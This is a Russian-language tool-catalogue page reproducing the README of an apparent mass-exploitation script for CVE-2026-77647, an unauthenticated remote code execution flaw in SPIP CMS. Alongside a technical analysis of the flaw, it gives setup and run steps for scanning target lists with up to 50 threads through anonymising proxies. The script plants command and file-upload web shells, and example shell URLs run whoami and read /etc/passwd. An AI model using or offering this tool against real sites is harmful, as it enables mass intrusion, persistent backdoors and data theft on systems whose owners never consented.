Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-77647 — SPIP до версии 4.4.20 позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-77647
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubnxploited/cve-2026-77647

CVE-2026-77647

SPIP до версии 4.4.20 позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код

71 день назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-77647

SPIP до версии 4.4.20 позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код

🔴 CVE-2026-77647 — Неаутентифицированное удалённое выполнение кода в SPIP

Удалённое выполнение кода до аутентификации в SPIP CMS — все версии до 4.4.20


📋 Обзор

CVE-2026-77647 — это критическая уязвимость удалённого выполнения кода (RCE) без аутентификации, затрагивающая все версии SPIP CMS до 4.4.20.

Уязвимость позволяет удалённому злоумышленнику — без какой-либо аутентификации или взаимодействия с пользователем — выполнить произвольный PHP-код на целевом сервере. Начиная с августа 2026 года она активно эксплуатировалась в реальных атаках, что побудило команду SPIP выпустить экстренное исправление.

Этот инструмент автоматизирует обнаружение и эксплуатацию данной уязвимости на множестве целей с настраиваемой параллельностью.


🛡️ Сведения об уязвимости

ПолеОписание
CVE IDCVE-2026-77647
Затронутое ПОSPIP CMS
Затронутые версииВсе версии до 4.4.20
ТипУдалённое выполнение кода (RCE) без аутентификации
CWECWE-94 — Некорректный контроль генерации кода (внедрение кода)
Оценка CVSS 3.19.8 / 10 — КРИТИЧЕСКАЯ
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияНе требуется (до аутентификации)
ЭксплуатацияАктивно эксплуатируется в реальных атаках (август 2026)
ИсправлениеSPIP 4.4.20 (Рекомендация)

⚙️ Разбор CVSS 3.1

МетрикаЗначениеСмысл
Вектор атакиСетьЭксплуатируется удалённо через интернет
Сложность атакиНизкаяОсобые условия не требуются
Требуемые привилегииОтсутствуютАутентификация не нужна
Взаимодействие с пользователемОтсутствуетДействия жертвы не требуются
Область действияНе изменяетсяВоздействие ограничено уязвимой системой
КонфиденциальностьВысокаяПолный доступ на чтение всех данных
ЦелостностьВысокаяПолный доступ на запись / изменение
ДоступностьВысокаяВозможен полный отказ в обслуживании

🔬 Технический анализ

Первопричина

Уязвимость возникает из-за двух взаимодействующих проблем в шаблонном движке SPIP:

  1. Некорректное определение блоков <?php — шаблонный движок SPIP не выполняет должную очистку открывающих тегов PHP во входных данных, контролируемых пользователем, в частности в параметре поиска (recherche).

  2. Неправильная обработка var_export — функция PHP var_export() некорректно обрабатывает определённые граничные случаи, особенно когда входные данные содержат символ <, что позволяет внедрить исполняемый PHP-код.

Цепочка эксплуатации

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

Злоумышленник отправляет специально сформированную полезную нагрузку через функцию поиска SPIP (?page=recherche&recherche=PAYLOAD). Полезная нагрузка использует механизм HTTP-заголовка X-Spip-Filtre для вызова html_entity_decode, который декодирует внедрённый PHP-код. Затем декодированный код вычисляется движком рендеринга шаблонов SPIP, что приводит к выполнению произвольного кода.

Схема атаки

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Использование

Требования

  • Python 3.7+
  • Библиотека requests

Установка

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Подготовка целей

Создайте файл с именем list.txt (или любым другим именем) с одной целью на строку:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Примечание: Цели без схемы (http:// или https://) по умолчанию будут использовать http://.

Запуск

python CVE-2026-77647.py

Интерактивная настройка

Инструмент запросит у вас:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
СкоростьПотокиТаймаутПрофиль
1 — Медленно525s🔇 Скрытный
2 — Обычно1015s⚖️ Сбалансированный
3 — Быстро2512s⚡ Агрессивный
4 — Ультра5010s🔥 Максимальный
[?] Proxy (blank = none): socks5://127.0.0.1:9050

Поддерживает прокси HTTP/HTTPS/SOCKS для анонимизации.

Вывод

Успешные результаты сохраняются в shells.txt:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Доступ к оболочке

Выполнение команд:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Интерфейс загрузки файлов:

https://target.com/Nx_.php?k=nXk

🎯 Возможности

  • 🔍 Автоматическое определение версии SPIP через заголовок Composed-By и фингерпринтинг страниц
  • 🛡️ Пропуск исправленных версий — автоматически пропускает SPIP ≥ 4.4.20
  • 📝 Развёртывание двух шеллов — шелл для выполнения команд + шелл для загрузки файлов
  • 📂 Запись по нескольким путям — попытки записи в корневую директорию, IMG/, tmp/ и local/
  • ⚡ Многопоточное сканирование — настраиваемое число потоков от 5 до 50
  • 🌐 Поддержка прокси — маршрутизация через HTTP, HTTPS и SOCKS прокси
  • 📊 Статус в реальном времени — живой прогресс с цветным выводом в терминал
  • 💾 Автосохранение результатов — все подтверждённые шеллы сохраняются в выходной файл

📚 Ссылки

  • CVE-2026-77647 — CVE.org
  • CVE-2026-77647 — NVD (NIST)
  • SPIP Security Advisory — SPIP Blog
  • CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
  • Debian Security Tracker — CVE-2026-77647
  • Rapid7 Vulnerability Database

⚠️ Отказ от ответственности

Скачать инструмент